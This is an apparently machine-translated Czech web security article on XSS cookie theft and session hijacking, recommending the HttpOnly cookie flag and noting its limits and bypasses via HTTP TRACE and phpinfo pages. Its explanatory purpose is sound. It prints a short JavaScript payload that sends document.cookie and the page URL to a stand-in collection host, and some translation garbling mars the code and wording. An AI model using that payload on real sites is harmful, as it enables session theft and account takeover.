S nástupem www služeb se stále více aplikací přesouvá na B/S struktury, takže různé webové služby lze využívat pouze v jednom prohlížeči, ale to zároveň stále více vede k problémům s webovou bezpečností. www služba spoléhá na protokol Http, Http je bezstavový protokol, takže pro přenášení informací mezi relacemi je nevyhnutelné používat cookies nebo relace a další technologie k označení stavu návštěvníka, a ať už jde o cookie nebo relaci, obvykle se implementuje pomocí cookies (relace je ve skutečnosti označena tokenem v cookies prohlížeče, Server tento token získá, ověří jeho legitimitu a přiřadí odpovídající stav uložený na serveru k prohlížeči), takže se nevyhnutelně bezpečně zaměří na cookie, pokud je tento cookie získán, lze získat identitu ostatních, což je skvělé pro vetřelce, zvláště když získaný cookie patří osobě s vysokými privilegiáty, jako je administrátor, škoda je ještě větší. Mezi různými bezpečnostními problémy webu je zranitelnost XSS obzvlášť nebezpečná. U aplikací, jakmile se objeví zranitelnost XSS, znamená to, že ostatní mohou ve vašem prohlížeči spouštět libovolné JS skripty, a pokud je aplikace open source nebo funkce veřejné, mohou jiní použít Ajax k jejich využití, ale proces je často nepraktický, zvláště pokud chcete přímo získat identitu někoho jiného pro běžné prohlížení. U neopen source aplikací, jako je webové pozadí některých velkých webů (významnou vlastností web2.0 je velké množství interakcí, uživatelé často potřebují komunikovat s administrátory na pozadí, například při hlášení chyb nebo doručování informací apod.), i když mohou existovat zranitelnosti skriptování napříč weby kvůli existenci interakce, ale kvůli nedostatku porozumění pozadí není možné vytvořit dokonalý kód Ajaxu, i když můžete použít js k získání pozadí kódu a jeho vrácení k analýze, ale proces je také zdlouhavý a není skrytý. V této době je velmi efektivní využít zranitelnost xss k získání cookies nebo únosu relace, konkrétně analyzovat autentizaci aplikace, použít určité techniky a dokonce trvale získat identitu druhé strany, i když druhá strana program opustí. Jak tedy získat cookie nebo session hijacking? V objektu dokumentu v prohlížeči jsou uloženy informace o cookies a cookie lze získat pomocí js; pokud tuto cookie získáte, můžete mít identitu někoho jiného. Typické XSS útokové tvrzení je následující:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Kopírovat kód Některé aplikace mohou použít techniky bindování prohlížeče, například vázání cookies na uživatelského agenta prohlížeče, a po zjištění považuje cookie za neplatné. Tato metoda se ukázala jako neúčinná, protože když vetřelec ukradne cookie, musí zároveň získat uživatelského agenta. Existuje také další přísný systém, který váže cookies na Remote-addr (ve skutečnosti je vázaný na IP, ale některé programy mají problémy s metodou získávání IP, což vede k úspornosti), ale to přináší velmi špatný uživatelský zážitek, změna IP je běžná, například práce a domov jsou dvě IP, takže tato metoda se často nepoužívá. Proto jsou útoky založené na cookies nyní velmi populární a je snadné získat status správce aplikace na některých webech s webem 2.0. Jak udržíme naše citlivé cookies v bezpečí? Díky výše uvedené analýze jsou obecné cookies získávány z objektů dokumentů a stačí jen učinit citlivé cookies neviditelnými v dokumentu prohlížeče. Naštěstí prohlížeče nyní obecně přijímají parametr HttpOnly při nastavení cookies, stejně jako jiné parametry jako doména, jakmile je tento HttpOnly nastaven, neuvidíte cookie v objektu dokumentu prohlížeče a prohlížeč nebude nijak ovlivněn při prohlížení, protože cookie bude odeslán v hlavičce prohlížeče (včetně ajax). Aplikace obecně tyto citlivé cookies v js-u nepoužívají, používáme HttpOnly pro některé citlivé cookies a nenastavujeme některé cookies, které je třeba používat v js, v aplikaci, což zajišťuje bezpečnost informací o cookies a aplikaci samotné. Pro více informací o HttpOnly viz http://msdn2.microsoft.com/en-us/library/ms533046.aspx. Hlavička pro nastavení cookies ve vašem prohlížeči je následující:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Kopírovat kód Jako příklad php byla například v php 5.2 přidána podpora HttpOnly do funkce Setcookie: setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE); Můžete nastavit abc cookie na HttpOnly, ale dokument nebude pro tento cookie viditelný. Protože funkce setcookie je v podstatě hlavička, můžete hlavičku použít i k nastavení HttpOnly. Poté použijte document.cookie, abyste zjistili, že tento cookie již není dostupný. Tuto metodu používáme k ochraně Sessionid, například některé autentizační cookies pro autentizaci, takže se nemusíme obávat získání identity, což je velmi důležité pro některé programy na pozadí a webmail pro zvýšení bezpečnosti. Když použijeme výše uvedenou metodu útoku znovu, vidíme, že již nemůžeme získat citlivé cookies, které jsme nastavili jako Pouze Http. Nicméně je také vidět, že HttpOnly není všemocný, především nemůže vyřešit problém xss, stále nemůže odolat útokům některých trpělivých hackerů, ani nedokáže zabránit vetřelcům v provádění ajax submissionů, a dokonce se objevily i některé xss proxy servery, ale bylo možné zvýšit práh útoků, alespoň xss útoky nejsou dokončeny každým script kidem a jiné metody útoků jsou způsobeny některými environmentálními a technickými omezeními. Není to tak běžné jako krádež sušenek. Pouze HttpOnly může také zneužít některé zranitelnosti nebo nastavit Bypass, klíčový problém je, že pokud můžete dostat záhlaví cookie odeslané prohlížečem. Například předchozí útok Http Trace může vrátit cookie do hlavičky a tento útok lze dokončit použitím Ajaxu nebo Flashe, který byl také opraven v Ajaxu a Flashi. Dalším významným příkladem možného obcházení konfigurace nebo aplikace je phpinfo, jak víte, phpinfo zobrazí http hlavičku zaslanou prohlížečem, včetně autentizačních informací, které chráníme, a tato stránka často existuje na různých stránkách, pokud použijete ajax k získání stránky phpinfo, odstraňte část odpovídající hlavičce a získáte cookie. Nedokonalosti v některých aplikacích mohou také vést k úniku hlaviček, což lze napadnout stejně jako stránku chráněnou základní verifikací. HttpOnly je lépe podporován v IE 6 a vyšších verzích, široce se používá v aplikacích jako Hotmail a dosáhl relativně dobrých bezpečnostních výsledků.
|